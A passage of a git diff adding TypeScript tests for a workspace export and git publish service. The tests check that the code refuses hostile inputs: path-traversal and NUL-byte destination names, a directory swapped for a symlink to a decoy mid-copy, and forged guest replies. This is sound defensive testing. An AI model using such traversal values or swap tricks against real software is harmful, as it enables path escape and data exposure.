between the passes refuses too. + const g = await fixture(); + g.checkpoints.push(phase => { if (phase === "shared-pass-1") rmFile(join(g.shared, "memory/notes.md")); }); + await failsWith(g.exportOnce("racy2"), "generation_stale"); + const h = await fixture(); + h.checkpoints.push(phase => { if (phase === "shared-pass-1") writeFileSync(join(h.shared, "memory/new.md"), "new\n"); }); + await failsWith(h.exportOnce("racy3"), "generation_stale"); +}); +const rmFile = (path: string) => { require("node:fs").unlinkSync(path); }; + +test("a byte written into a source image while it is being copied refuses the export", async () => { + const f = await fixture(); + f.checkpoints.push(phase => { if (phase === "image-copied:data") poke(f.image("data"), 20000, "X"); }); + await failsWith(f.exportOnce("midcopy"), "generation_stale"); + expect(readdirSync(f.destination)).toEqual([]); + expect(f.db.db.query("SELECT state FROM cowork_exports").all()).toEqual([{ state: "failed" }]); +}); + +test("a claim, run and release of the workspace during the copy refuses the export even though the images look unchanged", async () => { + const f = await fixture(); + f.checkpoints.push(phase => { if (phase === "shared-snapshotted") f.db.db.run("UPDATE cowork_volumes SET last_stop_id='stop-after-a-run' WHERE workspace_id=?", [f.workspaceId]); }); + await failsWith(f.exportOnce("ran"), "generation_stale"); + const g = await fixture(); + g.checkpoints.push(phase => { if (phase === "shared-snapshotted") g.db.db.run("UPDATE cowork_workspaces SET lease_epoch=lease_epoch+1 WHERE workspace_id=?", [g.workspaceId]); }); + await failsWith(g.exportOnce("epoch"), "generation_stale"); + expect(readdirSync(g.destination)).toEqual([]); +}); + +test("the bundle appears atomically, and the generation is complete only after the exclusive rename", async () => { + const f = await fixture(); + const seen: Record = {}; + f.checkpoints.push(phase => { if (["before-rename", "before-complete"].includes(phase)) seen[phase] = { listing: readdirSync(f.destination), state: f.db.db.query<{ state: string }, []>("SELECT state FROM cowork_exports").get()!.state }; }); + const result = await f.exportOnce("atomic"); + expect(seen["before-rename"]!.listing).toHaveLength(1); expect(seen["before-rename"]!.listing[0]).toMatch(/^\.[0-9a-f-]+\.partial$/); expect(seen["before-rename"]!.state).toBe("prepared"); + expect(seen["before-complete"]).toEqual({ listing: ["atomic.winterworkspace"], state: "prepared" }); + expect(readdirSync(f.destination)).toEqual(["atomic.winterworkspace"]); + expect(f.db.db.query("SELECT state FROM cowork_exports").all()).toEqual([{ state: "complete" }]); + expect(result.files).toBe(9); +}); + +test("a generation is never complete for a bundle that does not exist: a refusal at complete takes the bundle back and marks the generation failed", async () => { + const f = await fixture(); + f.checkpoints.push(phase => { if (phase === "before-complete") f.db.db.run("UPDATE cowork_workspaces SET power='running' WHERE workspace_id=?", [f.workspaceId]); }); + await failsWith(f.exportOnce("late-stale"), "generation_stale"); + expect(readdirSync(f.destination)).toEqual([]); + expect(f.db.db.query("SELECT state FROM cowork_exports").all()).toEqual([{ state: "failed" }]); +}); + +test("an existing target is never overwritten or merged, whether it appears before or during the export", async () => { + const f = await fixture(); + mkdirSync(join(f.destination, "taken.winterworkspace")); writeFileSync(join(f.destination, "taken.winterworkspace/mine.txt"), "mine"); + await failsWith(f.exportOnce("taken"), "bundle_exists"); + expect(f.db.db.query("SELECT count(*) AS n FROM cowork_exports").get()).toEqual({ n: 0 }); // refused before a generation was prepared + expect(readFileSync(join(f.destination, "taken.winterworkspace/mine.txt"), "utf8")).toBe("mine"); + expect(readdirSync(join(f.destination, "taken.winterworkspace"))).toEqual(["mine.txt"]); + const g = await fixture(); + g.checkpoints.push(phase => { if (phase === "before-rename") { mkdirSync(join(g.destination, "late.winterworkspace")); writeFileSync(join(g.destination, "late.winterworkspace/mine.txt"), "mine"); } }); + await failsWith(g.exportOnce("late"), "bundle_exists"); + expect(readdirSync(join(g.destination, "late.winterworkspace"))).toEqual(["mine.txt"]); + expect(g.db.db.query("SELECT state FROM cowork_exports").all()).toEqual([{ state: "failed" }]); // never a phantom complete + expect(readdirSync(g.destination)).toEqual(["late.winterworkspace"]); // the partial was removed +}); + +test("destinations are judged: absolute, an existing owner-only folder, outside Cowork's own storage, a clean name", async () => { + const f = await fixture(); + const cases: Array<[string, unknown]> = [["relative", "exports"], ["missing", join(f.base, "nope")], ["inside cowork storage", join(f.home, "cowork")], ["inside a workspace", f.dir], + ["the home's cowork parent", join(f.home, "cowork", "workspaces")], ["empty", ""], ["nul", `${f.destination}\0x`]]; + for (const [name, destination] of cases) { await failsWith(f.exporter().export({ workspaceId: f.workspaceId, destinationParent: destination as string, proof: PROOF }), "destination_invalid").catch(error => { throw new Error(`${name}: ${error.message}`); }); } + const open = join(f.base, "open"); mkdirSync(open); chmodSync(open, 0o777); + await failsWith(f.exporter().export({ workspaceId: f.workspaceId, destinationParent: open, proof: PROOF }), "destination_invalid"); + const file = join(f.base, "file"); writeFileSync(file, "x"); + await failsWith(f.exporter().export({ workspaceId: f.workspaceId, destinationParent: file, proof: PROOF }), "destination_invalid"); + for (const name of ["../escape", "a/b", ".hidden", "x".repeat(101), "bad\nname", ""]) await failsWith(f.exportOnce(name), "destination_invalid"); + expect(readdirSync(f.destination)).toEqual([]); + // Judged before any record is made: no generation was prepared for a bad destination. + expect(f.db.db.query("SELECT count(*) AS n FROM cowork_exports").get()).toEqual({ n: 0 }); +}); + +test("a destination with an ACL granting writes to others is refused, even though its mode bits are owner-only", async () => { + const f = await fixture(); const acl = join(f.base, "acl"); mkdirSync(acl, { mode: 0o700 }); + expect((await import("node:child_process")).spawnSync("/bin/chmod", ["+a", "everyone allow add_file,delete_child", acl]).status).toBe(0); + await failsWith(f.exporter().export({ workspaceId: f.workspaceId, destinationParent: acl, proof: PROOF }), "destination_invalid"); + expect(readdirSync(acl)).toEqual([]); expect(f.db.db.query("SELECT count(*) AS n FROM cowork_exports").get()).toEqual({ n: 0 }); + // A read-only ACL does not matter. + const reading = join(f.base, "reading"); mkdirSync(reading, { mode: 0o700 }); + (await import("node:child_process")).spawnSync("/bin/chmod", ["+a", "everyone allow read,list", reading]); + await f.exporter().export({ workspaceId: f.workspaceId, destinationParent: reading, name: "ok", proof: PROOF }); +}); + +test("a shared directory swapped for a link between the two passes is never followed: the export refuses and nothing of the decoy is read", async () => { + const f = await fixture(); const decoy = join(f.base, "decoy"); mkdirSync(join(decoy, "er"), { recursive: true }); writeFileSync(join(decoy, "er/fact.txt"), SECRET); + f.checkpoints.push(async phase => { if (phase === "shared-pass-1") { const deep = join(f.shared, "memory/deep"); (await import("./export-fs")).renameForTest(deep, join(f.base, "deep-moved")); symlinkSync(decoy, deep); } }); + await failsWith(f.exportOnce("swapped"), "bundle_unsafe"); + expect(readdirSync(f.destination)).toEqual([]); + // The same swap one level up (a whole root) is held by descriptor: the held directory is still the original, and the export + // either completes from it or refuses; it never contains the decoy. + const g = await fixture(); const decoy2 = join(g.base, "decoy2"); mkdirSync(decoy2); writeFileSync(join(decoy2, "notes.md"), SECRET); + g.checkpoints.push(async phase => { if (phase === "shared-pass-1") { (await import("./export-fs")).renameForTest(join(g.shared, "memory"), join(g.base, "memory-moved")); symlinkSync(decoy2, join(g.shared, "memory")); } }); + const result = await g.exportOnce("held"); + for (const file of bundleFiles(result.path)) expect(readFileSync(join(result.path, file)).includes(Buffer.from(SECRET))).toBe(false); + expect(readFileSync(join(result.path, "shared/memory/notes.md"), "utf8")).toBe("- remembered\n"); +}); + +test("a symlinked destination parent resolves to a real folder; the bundle lands in the real one", async () => { + const f = await fixture(); const link = join(f.base, "link"); symlinkSync(f.destination, link); + const result = await f.exporter().export({ workspaceId: f.workspaceId, destinationParent: link, name: "via-link", proof: PROOF }); + expect(result.path).toBe(join(f.destination, "via-link.winterworkspace")); +}); + +test("the generation lifecycle: failure marks it failed and frees the workspace; a stuck prepared generation is abandoned only when this exporter is not working on it", async () => { + const f = await fixture(); + // A crash after prepare leaves a prepared generation, which blocks every later export. + const stuck = f.exportsRecords.prepare(f.workspaceId, PROOF); + await failsWith(f.exportOnce("blocked"), "export_in_progress"); + const exporter = f.exporter(); + expect(exporter.abandonInterrupted(f.workspaceId, PROOF)).toMatchObject({ exportId: stuck.exportId, state: "failed" }); + expect(exporter.abandonInterrupted(f.workspaceId, PROOF)).toBeNull(); + expect(() => exporter.abandonInterrupted(f.workspaceId, { not: "the proof" })).not.toThrow(); // nothing in flight: no authority question + // The same call made while THIS exporter is mid-export refuses and leaves the live generation alone. + const g = await fixture(); const own = g.exporter(); let during: unknown; + g.checkpoints.push(phase => { if (phase === "shared-snapshotted") { try { own.abandonInterrupted(g.workspaceId, PROOF); } catch (error) { during = error; } } }); + await own.export({ workspaceId: g.workspaceId, destinationParent: g.destination, name: "live", proof: PROOF }); + expect(during).toBeInstanceOf(CoworkLifecycleError); expect((during as CoworkLifecycleError).code).toBe("export_in_progress"); + expect(g.db.db.query("SELECT state FROM cowork_exports").all()).toEqual([{ state: "complete" }]); + // The proof is required to abandon. + const h = await fixture(); h.exportsRecords.prepare(h.workspaceId, PROOF); + await failsWith(async () => h.exporter().abandonInterrupted(h.workspaceId, { not: "the proof" }), "authority_denied"); +}); + +test("cancellation stops the copy, fails the generation and leaves no partial folder", async () => { + const f = await fixture(); const controller = new AbortController(); + f.checkpoints.push(phase => { if (phase === "image-copied:data") controller.abort(); }); + let error: unknown; try { await f.exporter().export({ workspaceId: f.workspaceId, destinationParent: f.destination, name: "cancelled", proof: PROOF, signal: controller.signal }); } catch (caught) { error = caught; } + expect(error).toBeInstanceOf(ExportIoError); expect((error as ExportIoError).reason).toBe("cancelled"); + expect(readdirSync(f.destination)).toEqual([]); + expect(f.db.db.query("SELECT state FROM cowork_exports").all()).toEqual([{ state: "failed" }]); +}); + +test("refusals that precede any copy: authority, a workspace not at rest, unpinned images, a door that refuses, an image of the wrong size", async () => { + const denied = await fixture(); + await failsWith(denied.exporter().export({ workspaceId: denied.workspaceId, destinationParent: denied.destination, proof: { wrong: true } }), "authority_denied"); + expect(readdirSync(denied.destination)).toEqual([]); expect(denied.opened).toEqual([]); + const running = await fixture(); running.db.db.run("UPDATE cowork_workspaces SET power='running' WHERE workspace_id=?", [running.workspaceId]); + await failsWith(running.exportOnce("running"), "volume_busy"); expect(running.opened).toEqual([]); + const owned = await fixture(); owned.db.db.run("UPDATE cowork_volumes SET owner_json='{}' WHERE workspace_id=?", [owned.workspaceId]); + await failsWith(owned.exportOnce("owned"), "volume_busy"); + const unpinned = await fixture({ pin: false }); + await failsWith(unpinned.exportOnce("unpinned"), "image_unpinned"); expect(unpinned.opened).toEqual([]); + const refusing = await fixture(); + await failsWith(refusing.exporter({ images: { openStopped: () => { throw new Error("door says no"); } } }).export({ workspaceId: refusing.workspaceId, destinationParent: refusing.destination, proof: PROOF }), "export_not_ready"); + expect(readdirSync(refusing.destination)).toEqual([]); expect(refusing.db.db.query("SELECT state FROM cowork_exports").all()).toEqual([{ state: "failed" }]); + const wrong = await fixture(); + await failsWith(wrong.exporter({ images: { openStopped: (id, purpose, proof) => { const open = wrong.door.openStopped(id, purpose, proof); return { ...open, capacityBytes: open.capacityBytes + 4096 }; } } }).export({ workspaceId: wrong.workspaceId, destinationParent: wrong.destination, proof: PROOF }), "recovery_required"); + expect(readdirSync(wrong.destination)).toEqual([]); +}); + +test("an image whose descriptor is not the recorded size is refused even when the door claims the recorded capacity", async () => { + const f = await fixture(); const tiny = join(f.base, "tiny"); writeFileSync(tiny, "x", { mode: 0o600 }); + const lying = { openStopped: (id: string, purpose: "data" | "environment", proof: unknown) => { const real = f.door.openStopped(id, purpose, proof); real.close(); const fd = openSync(tiny, "r"); return { fd, capacityBytes: real.capacityBytes, close: () => closeSync(fd) }; } }; + await failsWith(f.exporter({ images: lying }).export({ workspaceId: f.workspaceId, destinationParent: f.destination, proof: PROOF }), "recovery_required"); + expect(readdirSync(f.destination)).toEqual([]); +}); + +test("images are read only through the pinned-descriptor door, one open per image, and always closed", async () => { + const f = await fixture(); + let closed = 0; + const counting = { openStopped: (id: string, purpose: "data" | "environment", proof: unknown) => { const open = f.door.openStopped(id, purpose, proof); return { ...open, close: () => { closed++; open.close(); } }; } }; + await f.exporter({ images: counting }).export({ workspaceId: f.workspaceId, destinationParent: f.destination, name: "door", proof: PROOF }); + expect(f.opened).toEqual(["data", "environment"]); expect(closed).toBe(2); +}); + +test("the walk and the index reject what a bundle may not hold", async () => { + const f = await fixture(); + const result = await f.exportOnce("walk"); + const oid = Object.keys(f.bound.get(result.exportId)!.outputIds)[0]!; + const sharedFd = openDirectoryNoFollow(join(result.path, "shared")); + try { + expect(walkRegularFilesAt(sharedFd, DEFAULT_BUNDLE_LIMITS).map(file => file.path)).toEqual(["instructions/WINTER.md", "memory/deep/er/fact.txt", "memory/notes.md", `outputs/${oid}/empty.txt`, `outputs/${oid}/report.pdf`]); + expect(() => walkRegularFilesAt(sharedFd, { ...DEFAULT_BUNDLE_LIMITS, files: 2 })).toThrow(CoworkLifecycleError); + expect(() => walkRegularFilesAt(sharedFd, { ...DEFAULT_BUNDLE_LIMITS, depth: 1 })).toThrow(CoworkLifecycleError); + expect(() => walkRegularFilesAt(sharedFd, { ...DEFAULT_BUNDLE_LIMITS, sharedBytes: 10 })).toThrow(CoworkLifecycleError); + } finally { closeSync(sharedFd); } + const again = await verifyBundle(result.path); + expect(serializeIntegrity(again.integrity)).toBe(readFileSync(join(result.path, "integrity.json"), "utf8")); again.close(); + void A; void canonicalJson; void existsSync; void setXattr; +}); diff --git a/packages/core/test/cowork/fixtures/host-env-load-probe.ts b/packages/core/test/cowork/fixtures/host-env-load-probe.ts new file mode 100644 index 000000000..bf8a7dd27 --- /dev/null +++ b/packages/core/test/cowork/fixtures/host-env-load-probe.ts @@ -0,0 +1,19 @@ +// Boots a production-shaped daemon (temp home, file secret store, no provider) and prints which host-env modules were loaded. Run by host-env-lazy.test.ts. +import { mkdtempSync, readFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +const loaded: string[] = []; +Bun.plugin({ + name: "host-env-load-recorder", + setup(build) { + build.onLoad({ filter: /[\\/]cowork[\\/]host-env[\\/][^\\/]+\.ts$/ }, args => { loaded.push(args.path); return { contents: readFileSync(args.path, "utf8"), loader: "ts" }; }); + }, +}); +const home = mkdtempSync(join(tmpdir(), "winter-hostenv-probe-")); +const { startDaemon } = await import("../../../src/daemon"); +const { FileSecretStore } = await import("../../../src/auth/secret-store"); +const daemon = await startDaemon({ home, secrets: new FileSecretStore(join(home, "secrets")), agentProvider: null }); +const built = daemon.coworkNative?.built; +await daemon.stop(); +console.log(JSON.stringify({ loaded, built })); diff --git a/packages/core/test/cowork/git/publish-service.test.ts b/packages/core/test/cowork/git/publish-service.test.ts new file mode 100644 index 000000000..0ac37a604 --- /dev/null +++ b/packages/core/test/cowork/git/publish-service.test.ts @@ -0,0 +1,402 @@ +import { afterEach, expect, setDefaultTimeout, test } from "bun:test"; +import { mkdtempSync, mkdirSync, readFileSync, readdirSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { openRuntimeStateDb, type RuntimeStateDb } from "../../../src/runtime-state/db"; +import { CoworkRepository } from "../../../src/cowork/repository"; +import { CoworkAuthority } from "../../../src/cowork/authority"; +import { CurrentCoworkPublicationAuthority } from "../../../src/cowork/git/authority"; +import { CoworkGitPublicationBroker, type BrokerOptions } from "../../../src/cowork/git/broker"; +import { IsolatedGitExecutor, resolveGitExecutable } from "../../../src/cowork/git/executor"; +import { CanonicalPublicationJournal } from "../../../src/cowork/git/journal"; +import { publishBundlePath, pullPublishBundle, type PublishBundleBinding, type PublishBundleChunk, type PublishBundlePort, type PublishBundleStat } from "../../../src/cowork/git/publish-intake"; +import { createCoworkPublishService, type CoworkPublishPorts, type PublishCaller, type PublishInput } from "../../../src/cowork/git/publish-service"; +import { GitPublicationError, type PublicationTransport } from "../../../src/cowork/git/types"; +import { createCoworkGuestFileClient, parseCoworkGuestFileRequest, type CoworkGuestFileClient } from "../../../src/cowork/guest-file-channel"; +import { authorityFixtureSessions } from "../committed-sessions"; +import { GitFixtureLifetime } from "./fixture-lifetime"; + +// Each fixture builds real Git repositories; several tests build more than one. +setDefaultTimeout(30_000); +const roots: string[] = [], dbs: RuntimeStateDb[] = [], lifetimes: GitFixtureLifetime[] = []; +afterEach(async () => { + await Promise.all(lifetimes.splice(0).map(lifetime => lifetime.close())); + for (const db of dbs.splice(0)) db.close(); + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); +const GENERATION = "a".repeat(64); +const SECRET = "guest-secret-do-not-leak"; + +/** A scripted guest: files by relative path, with hooks to misbehave. Every call is recorded. */ +class FakeGuest implements PublishBundlePort { + files = new Map(); + generation = GENERATION; + statCalls: PublishBundleBinding[] = []; readCalls: Array = []; + location: { incarnationId: string; locationId: string } | null = { incarnationId: "incarnation-one", locationId: "location-one" }; + locateCalls: Array<{ workspaceId: string; sessionId: string; sourceId: string }> = []; + onStat: ((n: number) => Partial | void) | undefined; + onRead: ((n: number, chunk: PublishBundleChunk) => Partial | void | Promise | void>) | undefined; + throwOn: "stat" | "read" | undefined; + locate(input: { workspaceId: string; sessionId: string; sourceId: string }) { this.locateCalls.push(input); return this.location; } + async stat(input: PublishBundleBinding): Promise { + this.statCalls.push(input); + if (this.throwOn === "stat") throw new Error(SECRET); + const file = this.files.get(input.relativePath); + if (!file) throw new Error(`${SECRET} missing`); + return { ...input, generation: this.generation, bytes: file.length, kind: "file", ...(this.onStat?.(this.statCalls.length) ?? {}) }; + } + async readRange(input: PublishBundleBinding & { expectedGeneration: string; offset: number; maxBytes?: number }): Promise { + this.readCalls.push(input); + if (this.throwOn === "read") throw new Error(SECRET); + const file = this.files.get(input.relativePath)!; + const slice = file.subarray(input.offset, Math.min(file.length, input.offset + (input.maxBytes ?? 65536))); + const { expectedGeneration: _e, maxBytes: _m, offset: _o, ...binding } = input; + const chunk: PublishBundleChunk = { ...binding, generation: this.generation, bytes: file.length, kind: "file", offset: input.offset, nextOffset: input.offset + slice.length, eof: input.offset + slice.length === file.length, content: Uint8Array.from(slice) }; + return { ...chunk, ...((await this.onRead?.(this.readCalls.length, chunk)) ?? {}) }; + } +} + +async function fixture(limits: CoworkPublishPorts["limits"] = {}, now?: () => number) { + const root = realpathSync(mkdtempSync(join(tmpdir(), "winter-cowork-publish-"))); roots.push(root); + const home = join(root, "home"), guestRepo = join(root, "guest"), remote = join(root, "remote.git"), quarantineRoot = join(root, "quarantine"), gitHome = join(root, "githome"); + for (const dir of [home, guestRepo, quarantineRoot, gitHome]) mkdirSync(dir, { mode: 0o700 }); + const lifetime = new GitFixtureLifetime(); lifetimes.push(lifetime); + const executor = lifetime.executor(new IsolatedGitExecutor()); + const git = async (cwd: string, ...args: string[]) => { const r = await executor.run({ cwd, home: gitHome, args }); if (r.code !== 0) throw new Error(`fixture git failed: ${args[0]}`); return r.stdout.trim(); }; + await git(guestRepo, "init", "--initial-branch=main", "--template="); await git(root, "init", "--bare", "--template=", remote); + await git(guestRepo, "config", "user.name", "Fixture"); await git(guestRepo, "config", "user.email", "fixture@example.invalid"); + writeFileSync(join(guestRepo, "work.txt"), "base\n"); await git(guestRepo, "add", "work.txt"); await git(guestRepo, "commit", "-m", "base"); + await git(guestRepo, "push", remote, "HEAD:refs/heads/main"); + await git(guestRepo, "checkout", "-b", "feature/task"); writeFileSync(join(guestRepo, "work.txt"), "task\n"); await git(guestRepo, "commit", "-am", "task"); + const head = await git(guestRepo, "rev-parse", "HEAD"), ref = "refs/heads/feature/task"; + const makeBundle = async (...refs: string[]) => { const path = join(root, `b-${Math.random()}.bundle`); await git(guestRepo, "bundle", "create", path, ...refs); return new Uint8Array(readFileSync(path)); }; + + const db = openRuntimeStateDb(home); dbs.push(db); const records = new CoworkRepository(db); + const made = records.create({ principalId: "fixture-user", requestId: "create" }, { ownership: "project", title: "Fixture", + sources: [{ kind: "githubRepository", label: "Fixture", access: "read-write", detail: { repositoryId: "repository-one", authorityRef: "authority-one", initialRef: "main" } }], + ceiling: { toolClasses: ["read", "write"], hostServices: ["git.publish"], connectors: [], network: "internet" } }); + const workspaceId = made.workspaceId, source = made.value.sources[0]!; + const epoch = records.beginIncarnation(workspaceId, "incarnation-one", made.value.workspace.configRevision); + records.acknowledgeSource(epoch, source.sourceId, source.revision, "ready"); + const context = (requestId: string) => ({ principalId: "fixture-user", requestId, expectedRevision: records.get(workspaceId).configRevision }); + records.bindConversation(context("bind"), workspaceId, { sessionId: "session-one", sourceId: source.sourceId }, authorityFixtureSessions("session-one")); + const authority = new CoworkAuthority(records, { folder: () => undefined, repository: () => ({ readable: true, writable: true, revoked: false }) }); + const tasks = { sourceScope: async () => ({ revision: 1, sourceIds: null }), resolve: async () => ({ repositoryId: "repository-one", destinationId: "destination-one", authorityId: "authority-one", authorityRevision: 1 }) }; + const publication = new CurrentCoworkPublicationAuthority(records, authority, tasks); + + let pushes = 0, defaultRef = "refs/heads/main"; + const transport: PublicationTransport = { + observe: async (grant, atRef) => { + const value = await executor.run({ cwd: root, home: gitHome, args: ["--git-dir", remote, "rev-parse", "--verify", atRef] }); + return { repositoryId: grant.repositoryId, destinationId: grant.destinationId, defaultRef, protection: "unprotected", currentOid: value.code === 0 ? value.stdout.trim() : null }; + }, + push: async (_grant, plan, signal) => { + pushes++; + const receivePack = `'${resolveGitExecutable().replaceAll("'", "'\\''")}' -c core.hooksPath=/dev/null receive-pack`; + const r = await executor.run({ cwd: root, home: gitHome, signal, args: ["--git-dir", plan.quarantine, "push", "--porcelain", "--no-verify", `--receive-pack=${receivePack}`, plan.lease, remote, plan.refspec] }); + return r.code === 0 ? "applied" : "rejected"; + }, + }; + const journals = new Map(); + const journalFor = (workspace: string, owner = "host-a") => { const key = `${workspace}:${owner}`; if (!journals.has(key)) journals.set(key, new CanonicalPublicationJournal(records, workspace, owner)); return journals.get(key)!; }; + const brokerFor = (workspace: string) => { + const options: BrokerOptions = { quarantineRoot, isolatedFixture: true, git: executor, journal: journalFor(workspace), transport, authority: publication }; + return new class extends CoworkGitPublicationBroker { + override publish(...args: Parameters) { + const [publisher, request, signal] = args; + return lifetime.track(() => super.publish(publisher, request, signal ? AbortSignal.any([lifetime.signal, signal]) : lifetime.signal)); + } + }(options); + }; + const guest = new FakeGuest(); + const ports: CoworkPublishPorts = { records, guest, broker: brokerFor, journal: journalFor, limits, now }; + const caller: PublishCaller = { principalId: "fixture-user", sessionId: "session-one", taskId: "task-one" }; + const input: PublishInput = { requestId: "request-one", sourceId: source.sourceId, ref, oldOid: null, newOid: head }; + const stage = async (requestId = input.requestId, bundle?: Uint8Array) => { guest.files.set(publishBundlePath(requestId), bundle ?? await makeBundle(ref)); }; + await stage(); + const outbox = (operationId: string) => records.rs.db.query<{ payload_json: string }, [string]>("SELECT payload_json FROM cowork_outbox WHERE operation_id=? ORDER BY sequence").all(operationId).map(row => JSON.parse(row.payload_json).publicationStatus); + const operations = () => records.rs.db.query<{ n: number }, []>("SELECT count(*) AS n FROM cowork_operations WHERE method='git.publish'").get()!.n; + return { root, home, remote, guestRepo, git, head, ref, makeBundle, records, workspaceId, source, caller, input, guest, ports, service: createCoworkPublishService(ports), stage, + outbox, operations, pushes: () => pushes, setDefault: (value: string) => defaultRef = value, journalFor, context, quarantineRoot, publication }; +} +async function refused(promise: Promise, code: string) { + let error: unknown; + try { await promise; } catch (caught) { error = caught; } + expect(error).toBeInstanceOf(GitPublicationError); + expect(error).toMatchObject({ code, message: code }); + expect(JSON.stringify(error)).not.toContain(SECRET); +} + +test("production shape: without a ports object every verb refuses integration_unavailable", async () => { + const service = createCoworkPublishService(undefined); + expect(service.availability()).toEqual({ available: false, reason: "publication_ports_absent" }); + const caller: PublishCaller = { principalId: "u", sessionId: "s", taskId: "t" }; + await refused(service.publish(caller, { requestId: "r", sourceId: "x", ref: "refs/heads/f", oldOid: null, newOid: "a".repeat(40) }), "integration_unavailable"); + expect(() => service.status(caller, "r")).toThrow(GitPublicationError); + await refused(service.recover("w", async () => true), "integration_unavailable"); +}); + +test("a feature branch publishes end to end: host-derived path, claim, journal, outbox events, host-side push", async () => { + const f = await fixture(); + const receipt = await f.service.publish(f.caller, f.input); + expect(receipt).toMatchObject({ status: "applied", ref: f.ref, newOid: f.head, oldOid: null, repositoryId: "repository-one" }); + expect(await f.git(f.root, "--git-dir", f.remote, "rev-parse", f.ref)).toBe(f.head); + expect(f.pushes()).toBe(1); + // Every guest call carried only host-derived values: the session's workspace, the located incarnation and location, the + // canonical source revision, and a path computed from the request id. + for (const call of [...f.guest.statCalls, ...f.guest.readCalls]) { + expect(call).toMatchObject({ workspaceId: f.workspaceId, sessionId: "session-one", locationId: "location-one", incarnationId: "incarnation-one", + sourceRevision: f.source.revision, relativePath: ".winter-publish/request-one.bundle" }); + } + expect(f.guest.locateCalls).toEqual([{ workspaceId: f.workspaceId, sessionId: "session-one", sourceId: f.source.sourceId }]); + // The claim, the dispatch and the result are one durable operation with its outbox notifications. + expect(f.operations()).toBe(1); + expect(f.outbox(receipt.operationId)).toEqual(["prepared", "dispatched", "applied"]); + expect(f.records.operation(f.workspaceId, receipt.operationId)).toMatchObject({ status: "applied", terminal: true }); + expect(f.service.status(f.caller, "request-one")).toEqual(receipt); + expect(readdirSync(f.quarantineRoot)).toEqual([]); +}); + +test("a replayed request id returns the stored receipt and never pushes twice", async () => { + const f = await fixture(); + const first = await f.service.publish(f.caller, f.input); + expect(await f.service.publish(f.caller, f.input)).toEqual(first); + expect(f.pushes()).toBe(1); expect(f.operations()).toBe(1); + // The same id for a different update is a conflict, not a second effect. + await f.stage("request-one", await f.makeBundle(f.ref)); + await refused(f.service.publish(f.caller, { ...f.input, oldOid: f.head, newOid: "b".repeat(40) }), "request_conflict"); + expect(f.pushes()).toBe(1); +}); + +test("the size budget is judged from stat, before one byte is read and before any claim", async () => { + const f = await fixture({ bundleBytes: 100 }); + await refused(f.service.publish(f.caller, f.input), "object_budget"); + expect(f.guest.readCalls).toHaveLength(0); expect(f.operations()).toBe(0); expect(f.pushes()).toBe(0); +}); + +test("a guest file that changes during the pull is refused as stale and never claimed", async () => { + const f = await fixture(); + f.guest.onRead = n => n === 1 ? { generation: "b".repeat(64) } : undefined; + await refused(f.service.publish(f.caller, f.input), "bundle_stale"); + expect(f.operations()).toBe(0); expect(f.pushes()).toBe(0); + // Changed after the last byte: the closing stat catches it. + const g = await fixture(); g.guest.onStat = n => n === 2 ? { generation: "c".repeat(64) } : undefined; + await refused(g.service.publish(g.caller, g.input), "bundle_stale"); + expect(g.operations()).toBe(0); +}); + +test("hostile or malformed chunk replies are refused with no guest text in the error", async () => { + const cases: Array<[string, (n: number, chunk: PublishBundleChunk) => Partial]> = [ + ["wrong offset", (_n, chunk) => ({ offset: chunk.offset + 1 })], + ["gap", (_n, chunk) => ({ nextOffset: chunk.nextOffset + 1 })], + ["empty chunk", (_n, chunk) => ({ content: new Uint8Array(0), nextOffset: chunk.offset, eof: false })], + ["early eof", (_n, chunk) => ({ eof: !chunk.eof })], + ["oversized chunk", (_n, chunk) => ({ content: new Uint8Array(chunk.content.length + 5), nextOffset: chunk.offset + chunk.content.length + 5, eof: false })], + ["foreign workspace", () => ({ workspaceId: "other" })], + ["foreign path", () => ({ relativePath: "elsewhere.bundle" })], + ["foreign incarnation", () => ({ incarnationId: "incarnation-two" })], + ["wrong size", (_n, chunk) => ({ bytes: chunk.bytes + 1 })], + ]; + const f = await fixture(); + for (const [name, mutate] of cases) { + f.guest.onRead = (n, chunk) => mutate(n, chunk); f.guest.readCalls.length = 0; // every reply is hostile, so a missing guard loops or times out + let error: unknown; try { await f.service.publish(f.caller, f.input); } catch (caught) { error = caught; } + expect([name, error instanceof GitPublicationError && ["bundle_unavailable", "bundle_stale"].includes(error.code)]).toEqual([name, true]); + expect(f.operations()).toBe(0); + } +}, 30_000); + +test("a guest that dribbles one byte per reply is refused at the first short chunk, after one read", async () => { + const f = await fixture(); + f.guest.onRead = (_n, chunk) => ({ content: chunk.content.subarray(0, 1), nextOffset: chunk.offset + 1, eof: false }); + await refused(f.service.publish(f.caller, f.input), "bundle_unavailable"); + expect(f.guest.readCalls).toHaveLength(1); expect(f.operations()).toBe(0); + // And a multi-chunk file is read in exactly ceil(size / 256 KiB) calls, never more. + const g = await fixture(); g.guest.files.set("big", Uint8Array.from({ length: 600_000 }, (_v, i) => i & 0xff)); + await pullPublishBundle(g.guest, { workspaceId: "w", sessionId: "s", locationId: "l", relativePath: "big", incarnationId: "i", sourceRevision: 1 }, { maxBytes: 1_000_000 }); + expect(g.guest.readCalls).toHaveLength(3); +}); + +test("a stat reply that names another workspace, path or incarnation is refused before any read", async () => { + for (const lie of [{ workspaceId: "other" }, { relativePath: "elsewhere.bundle" }, { incarnationId: "incarnation-two" }, { sessionId: "other-session" }, { locationId: "other-location" }, { sourceRevision: 99 }, { kind: "directory" as never }]) { + const f = await fixture(); f.guest.onStat = () => lie; + await refused(f.service.publish(f.caller, f.input), "bundle_unavailable"); expect(f.guest.readCalls).toHaveLength(0); + } +}); + +test("caller ids are validated for every verb", async () => { + const f = await fixture(); + for (const bad of [{ principalId: "bad id" }, { sessionId: "" }, { taskId: "x/y" }]) { + await refused(f.service.publish({ ...f.caller, ...bad }, f.input), "invalid_request"); + expect(() => f.service.status({ ...f.caller, ...bad }, "request-one")).toThrow(GitPublicationError); + } + await refused(f.service.publish(f.caller, { ...f.input, requestId: "bad id" }), "invalid_request"); + await refused(f.service.publish(f.caller, { ...f.input, sourceId: "" }), "invalid_request"); + expect(f.guest.locateCalls).toHaveLength(0); +}); + +test("an empty bundle file is refused at stat", async () => { + const f = await fixture(); f.guest.files.set(publishBundlePath("request-one"), new Uint8Array(0)); + await refused(f.service.publish(f.caller, f.input), "bundle_unavailable"); + expect(f.guest.readCalls).toHaveLength(0); expect(f.operations()).toBe(0); +}); 